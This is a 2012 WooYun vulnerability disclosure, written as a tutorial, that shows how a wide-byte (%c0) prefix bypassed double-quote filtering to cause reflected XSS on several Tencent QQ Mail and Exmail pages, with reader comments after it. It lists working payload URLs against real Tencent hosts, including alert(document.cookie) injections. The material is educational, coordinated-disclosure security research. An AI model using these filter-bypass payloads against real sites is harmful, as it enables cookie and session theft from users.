当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015969

漏洞标题:[腾讯实例教程] 那些年我们一起学XSS - 4. 宽字节复仇记 [QQ邮箱基本通用]

相关厂商:腾讯

漏洞作者: 心伤的瘦子

提交时间:2012-12-13 17:45

修复时间:2013-01-27 17:46

公开时间:2013-01-27 17:46

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-13: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向核心白帽子及相关领域专家公开
2013-01-06: 细节向普通白帽子公开
2013-01-16: 细节向实习白帽子公开
2013-01-27: 细节向公众公开

简要描述:

前面教程第2节,说到了输出在<script>..</script>之间的情况。也说到了后面会再继续一些有意思的例子。
实际上,我们碰到的往往不是那么好。很多情况下,程序员都是会过滤的。 那么我们怎么办呢?
“因地制宜,因材施教。” 根据漏洞的实际情况,我们可以各种绕过。 不知道这里乱用成语没啊。 惶恐不安中。
这里先看看第一种方法,宽字节绕过。

详细说明:

1. 有一个比较经典的SQL注入,是宽字节注入。玩渗透的可能对这个都比较清楚。
2. 有时候,宽字节确实可以带来奇效~~下面我们看腾讯的一个例子。
3. 例子如下:

http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa


我们尝试注入 " 来闭合前面的双引号,但是很悲剧的是,双引号被过滤了。。
如下图:

14.jpg


看到这种情况,一般人估计会放弃了吧,至少说明程序员注意到了这里,并且过滤了。
然后我们可以看到编码是:

<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />


gbxxxx系列的编码,那么我们尝试一下宽字节呢?

http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0%22;alert(1);//aaaaaa


看看效果:

15.jpg


弹个窗:

16.jpg


利用宽字节,我们华丽的复仇了“腾讯对双引号的屠杀”。
至于这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22变成了 %5c%22,而 %c0吃掉了后面的%5c。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。 如果有,欢迎大家分享。

漏洞证明:

不一一列举了。有这个参数的基本都有问题。
http://msgopt.mail.qq.com/cgi-bin/readtemplate?sid=ktqO7DjMQcJuAABQ&folderid=9&page=0&t=aaaa%c0%22;alert(1);//bbbbx&loc=folderlist,,,9
http://r.mail.qq.com/cgi-bin/reader_main?sid=ktqO7DjMQcJuAABQ&t=aaaa%c0"bbbbx&source=folderlist
https://exmail.qq.com/cgi-bin/bizmail?sid=N7fzoGwkeI8ydyRo,7&action=show_user&alias=zhaopin@ucanlove.com&t=%c0"ccccbbbbx&s=showaccount
https://exmail.qq.com/cgi-bin/loginpage?errtype=3&verify=true&clientuin=info&t=dm_loginpage&d=fartech.cn&s=&alias=&regalias=&delegate_url=&title=&url=%2Fcgi-bin%2Flogin%3F&org_fun=&aliastype=other&ss=&from=&autologin=n&param=&sp=&r=b63f6de34c24eeb8a3099ab4bbfc1b8d&ppp=&secpp=%c0%22onmousebbbb=alert(document.cookie);//&dmtype=bizmail
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0"ccccbbbbx
http://open.mail.qq.com/cgi-bin/communication?sid=,2,zh_CN&t=%c0"ccccbbbbx&action=
http://open.mail.qq.com/cgi-bin/feedback_loop?sid=,2,zh_CN&check=false&t=%c0"ccccbbbbx&action=
http://exmail.qq.com/cgi-bin/viewdocument?sid=H6Mg9z5XNfqsfhdH,7&filename=%CC%EC%BD%F2%BB%C6%BD%F0%C8%D5%D6%DC%C6%C00917.doc&mailid=ZL2017-RfnEvncOeLfhJ04eTPrSU29&retry=true&t=%c0%22ccccbbbbx&ef=qfunc
http://reader.qq.com/cgi-bin/rss_main?sid=MTOtOYwpx56MMzN9&t=aaaa%c0%22;alert(document.cookie);//bbbbx&s=mag&r=222&init=true&update=1

修复方案:

修复相关过滤机制。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-12-17 14:49

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-13 17:57 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    前排出租。。

  2. 2012-12-13 17:57 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    ....求打包教程。

  3. 2012-12-13 17:58 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    mark 这系列,慢慢看~~~

  4. 2012-12-13 20:21 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    前三没了~

  5. 2012-12-14 16:07 | 街球幽灵 ( 路人 | Rank:29 漏洞数:5 | 社会工程学研究,手机维修工程师。)

    广告位出租~

  6. 2012-12-17 15:20 | ︶ㄣ歪瓜劣枣 ( 路人 | Rank:5 漏洞数:1 | 混乱)

    ....求打包教程。

  7. 2012-12-17 20:06 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    顶胖子

  8. 2012-12-23 23:01 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    一块打印成书收藏

  9. 2013-01-17 08:57 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    可以打包出书了

  10. 2013-01-27 17:59 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

  11. 2013-01-27 19:47 | 陈再胜 ( 普通白帽子 | Rank:121 漏洞数:13 | 微博收收听~~~●﹏●)

    求第二季~~~

  12. 2013-02-16 15:10 | mole3o ( 路人 | Rank:10 漏洞数:2 | 学生一枚,青春向上的白帽子。)

    受益匪浅。

  13. 2013-11-05 10:02 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    @心伤的瘦子 你和@心伤的胖子是什么关系啊

  14. 2014-06-14 10:38 | qingxp9 ( 路人 | Rank:6 漏洞数:4 | ~~~)

    精彩

  15. 2014-08-06 00:37 | 大风对我说 ( 路人 | Rank:6 漏洞数:2 | 酱油党)

    学习了

  16. 2014-08-14 21:18 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)

    学习

  17. 2015-02-02 18:57 | Maxson ( 路人 | Rank:21 漏洞数:8 | 莫找借口失败,只找理由成功!)

    静静的坐在这 看看楼主发不发打包